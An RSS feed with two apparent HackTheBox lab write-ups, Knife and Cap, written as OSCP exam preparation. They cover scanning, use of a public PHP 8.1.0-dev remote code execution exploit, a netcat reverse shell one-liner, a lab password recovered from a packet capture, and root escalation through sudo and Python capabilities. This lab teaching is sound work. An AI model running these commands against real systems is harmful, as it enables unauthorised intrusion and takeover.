<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Chris</title>
    <description>The latest articles on DEV Community by Chris (@xyzchris0).</description>
    <link>https://dev.to/xyzchris0</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F382144%2F73fade57-1f43-40be-92a5-85eeaf77dd48.png</url>
      <title>DEV Community: Chris</title>
      <link>https://dev.to/xyzchris0</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/xyzchris0"/>
    <language>en</language>
    <item>
      <title>Writeup: HackTheBox Knife - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Thu, 28 Oct 2021 19:13:21 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-knife-without-metasploit-oscp-prep-3k0m</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-knife-without-metasploit-oscp-prep-3k0m</guid>
      <description>&lt;p&gt;Hello all, Apologies for the extreme delay. But I decided to take a mini break to get some more understanding of Priv Esc with Windows and Linux.&lt;/p&gt;

&lt;p&gt;This week I decided to hit Knife from &lt;strong&gt;Hackthebox&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's take it away now!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -T4 -p- -oN nmap.txt 10.10.10.242&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zes9fo0h8hckhw4neav.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zes9fo0h8hckhw4neav.PNG" alt="Image description" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  PortOpen:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;22 OpenSSH 8.2p1 Ubuntu&lt;/li&gt;
&lt;li&gt;80 Apache HttpD 2.4.41&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;First things first, I am going to head over to the website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuawyf386nikmr3mz3hso.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuawyf386nikmr3mz3hso.PNG" alt="Image description" width="800" height="273"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing too interesting here, I clicked around a bit but I was not able to get to any other pages from the landing page.&lt;/p&gt;

&lt;p&gt;I am going to run &lt;em&gt;Dirb&lt;/em&gt; while I continue to investigate this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="http://10.10.10.242/" rel="noopener noreferrer"&gt;http://10.10.10.242/&lt;/a&gt; -o Dirb&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4qta7zmp8gtyshhi7r3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4qta7zmp8gtyshhi7r3.PNG" alt="Image description" width="800" height="623"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;index.php&lt;/em&gt; brings up the main landing page again and the &lt;em&gt;server-status&lt;/em&gt; brings up an error page. &lt;/p&gt;

&lt;p&gt;But one thing we know now but didn't before. We can see that we are dealing with a &lt;em&gt;PHP&lt;/em&gt; site.&lt;/p&gt;

&lt;p&gt;I am going to try another service to see if we can get any useful information. Let's fire up &lt;em&gt;Nikto&lt;/em&gt;, which is a free command-line vuln scanner that scans webservers for dangerous files/CGIs, outdated software and other problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nikto -h 10.10.10.242&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5nrh3ijwy1jidbft8qc8.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5nrh3ijwy1jidbft8qc8.PNG" alt="Image description" width="800" height="628"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scrolling down we can see that the header is &lt;strong&gt;PHP/8.1.0-Dev&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's also run &lt;em&gt;Curl&lt;/em&gt; to investigate the site.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;curl &lt;a href="http://10.10.10.242" rel="noopener noreferrer"&gt;http://10.10.10.242&lt;/a&gt; -v&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlatjxeya0ng7wdf50rj.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlatjxeya0ng7wdf50rj.PNG" alt="Image description" width="667" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see here that &lt;em&gt;PHP&lt;/em&gt; is shown again.&lt;/p&gt;

&lt;p&gt;I am going to do some more research on this and head over to Google.&lt;/p&gt;

&lt;p&gt;The first entry is for a RCE!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fckldz89w2r9e5b32kakz.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fckldz89w2r9e5b32kakz.PNG" alt="Image description" width="800" height="308"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5l0sg42fyjdzo99qe841.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5l0sg42fyjdzo99qe841.PNG" alt="Image description" width="800" height="261"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Download this and move it into your file path. Run the &lt;em&gt;pwd&lt;/em&gt; command to make sure you are moving it to the right location.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;mv /home/huey/Desktop /home/huey/Documents/HTB/Knife/49933.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxuhzaayyysqjc3it7boq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxuhzaayyysqjc3it7boq.PNG" alt="Image description" width="800" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python3 49933.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0l0jzbwmy7phm7sfipyu.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0l0jzbwmy7phm7sfipyu.PNG" alt="Image description" width="785" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;sudo -l&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We can see that &lt;strong&gt;NOPASSWD: /usr/bin/knife&lt;/strong&gt;, which might have an entry in gtfobins.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fae0i4dbnf7hdhorw1sej.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fae0i4dbnf7hdhorw1sej.PNG" alt="Image description" width="800" height="263"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's get a better shell first though.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f/|/bin/sh -i 2&amp;gt;&amp;amp;1|nc tun0 1234 &amp;gt;/tmp/f&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjcq15fbb7ipji9394e3m.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjcq15fbb7ipji9394e3m.PNG" alt="Image description" width="800" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 1234&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;python3 -c 'import pty;pty.spawn("/bin/bash")'&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuym5d53vwr2dqrfj48pa.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuym5d53vwr2dqrfj48pa.PNG" alt="Image description" width="800" height="206"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now head over to Gtfobins and search &lt;em&gt;Knife&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh1fotq15bqb318tg3hu1.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh1fotq15bqb318tg3hu1.PNG" alt="Image description" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9e9b7x5z5831xrykd86t.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9e9b7x5z5831xrykd86t.PNG" alt="Image description" width="800" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Cap - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Tue, 05 Oct 2021 09:39:33 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-cap-without-metasploit-oscp-prep-4coa</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-cap-without-metasploit-oscp-prep-4coa</guid>
      <description>&lt;p&gt;Hello again! I decided to give &lt;em&gt;Cap&lt;/em&gt; from &lt;strong&gt;Hackthebox&lt;/strong&gt; a try and providing the below writeup on how to gain access to the box.&lt;/p&gt;

&lt;p&gt;Let's go!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -O -T4 -p- -oN nmap.txt 10.10.10.245&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;li&gt;-p- = Scan all 65535 ports&lt;/li&gt;
&lt;li&gt;-O = Operating System Detection&lt;/li&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fikd3qgegif9wnwzx4fzo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fikd3qgegif9wnwzx4fzo.PNG" alt="Alt Text" width="800" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Ports Open:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;21 FTP vsftpd 3.0.3, vsftpd, is an FTP server for Unix-like systems, including Linux. It is the default FTP server in the Ubuntu, CentOS, Fedora, NimbleX, Slackware and RHEL Linux distributions. It is licensed under the GNU General Public License. It supports IPv6, TLS and FTPS.&lt;/li&gt;
&lt;li&gt;22 SSH OpenSSH 8.2p1, OpenSSH is a suite of secure networking utilities based on the Secure Shell protocol, which provides a secure channel over an unsecured network in a client–server architecture.&lt;/li&gt;
&lt;li&gt;80 HTTP Gunicorn, The Gunicorn "Green Unicorn" is a Python Web Server Gateway Interface HTTP server. It is a pre-fork worker model, ported from Ruby's Unicorn project. The Gunicorn server is broadly compatible with a number of web frameworks, simply implemented, light on server resources and fairly fast&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I am going to run the Nmap Vuln scan while I check out the website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbd9d0kmvry2wqdqg1czp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbd9d0kmvry2wqdqg1czp.PNG" alt="Alt Text" width="800" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now for the results:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6j654gbz2uk13yqw6nd.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6j654gbz2uk13yqw6nd.PNG" alt="Alt Text" width="800" height="625"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a CSRF and a DoS vulnerability being shown from &lt;em&gt;Nmap&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;Re-checking out the site we notice a few things.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We are logged in via a person named &lt;em&gt;Nathan&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;The Dashboard has a few different sections such as (PCAP, IP Config and Network Status)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I ran &lt;strong&gt;Dirb&lt;/strong&gt; on the site but it didnt come up with anything interesting the first time around.&lt;/p&gt;

&lt;p&gt;The PCAP option looks like a download, and when I select on the option again while scrolling through it changes the URL from 2 to 3.&lt;/p&gt;

&lt;p&gt;There might be some other hidden &lt;em&gt;Directories&lt;/em&gt; here, so lets try to give &lt;em&gt;Dirb&lt;/em&gt; another chance to find something else. &lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="http://10.10.10.245/data/" rel="noopener noreferrer"&gt;http://10.10.10.245/data/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpg2b777nyib49qiojvgb.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpg2b777nyib49qiojvgb.PNG" alt="Alt Text" width="670" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Head over to each one of the Directories found and look at the different &lt;em&gt;PCAP&lt;/em&gt; captures.&lt;/p&gt;

&lt;p&gt;Now after doing this you should see a big difference between the different PCAPs. &lt;/p&gt;

&lt;p&gt;If you haven't already, do the following to review them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;wireshark 0.pcap&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtgsxyk97xkuoj1akquh.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtgsxyk97xkuoj1akquh.PNG" alt="Alt Text" width="304" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sort by FTP, then scroll down in the page and you should see a password &lt;strong&gt;Buck3tH4TF0RM3!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3fk3ysb6kekkjsp1dxqk.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3fk3ysb6kekkjsp1dxqk.PNG" alt="Alt Text" width="800" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now save the password to your local machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Cat &amp;gt; password.txt&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Buck3tH4TF0RM3!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now taking the information we found earlier about a user named &lt;strong&gt;nathan&lt;/strong&gt; and combining it with the new password we found lets give it a go. I first tried the &lt;em&gt;FTP&lt;/em&gt; but that failed.&lt;/p&gt;

&lt;p&gt;I then turned to the &lt;em&gt;SSH&lt;/em&gt; port.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ssh &lt;a href="mailto:nathan@10.10.10.245"&gt;nathan@10.10.10.245&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Insert the password from above&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fma9a4dmw1tc7vw8du5mv.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fma9a4dmw1tc7vw8du5mv.PNG" alt="Alt Text" width="772" height="724"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Sudo -l&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We see that with our current permissions we are unable to run the &lt;em&gt;Sudo&lt;/em&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn1eo1skuo0og1jsc14cb.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn1eo1skuo0og1jsc14cb.PNG" alt="Alt Text" width="549" height="199"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see if we can snag a &lt;em&gt;userflag&lt;/em&gt; while we are here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;br&gt;
**ls&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cat user.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Well that was easier than I thought!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzmb7nnjf5uh82bma6wkz.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzmb7nnjf5uh82bma6wkz.PNG" alt="Alt Text" width="382" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Following the link we are going to attempt a &lt;em&gt;Priv Esc&lt;/em&gt; &lt;a href="https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/" rel="noopener noreferrer"&gt;link&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Pulled text from the site:&lt;/p&gt;

&lt;p&gt;"We would start by scanning the file system for files with capabilities using getcap -r /   The -r flag tells getcap to search recursively, ‘/‘ to indicate that we want to search the whole system.&lt;/p&gt;

&lt;p&gt;The output is usually filled with tens or hundreds of  “Operation not supported” errors, making it hard to read. We can redirect errors to /dev/null to get a cleaner output."&lt;/p&gt;

&lt;p&gt;This is checking for the sudo permissions and SUID binaries. &lt;/p&gt;

&lt;p&gt;Looking over the *&lt;em&gt;Gtfobins&lt;/em&gt; site I come across the following that should help out, for more details take a look at this &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn30ili3nfd5mrj1zi9v4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn30ili3nfd5mrj1zi9v4.PNG" alt="Alt Text" width="800" height="191"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;whoami &amp;amp;&amp;amp; id&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmeupvpxisbsvf7deod4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmeupvpxisbsvf7deod4.PNG" alt="Alt Text" width="800" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

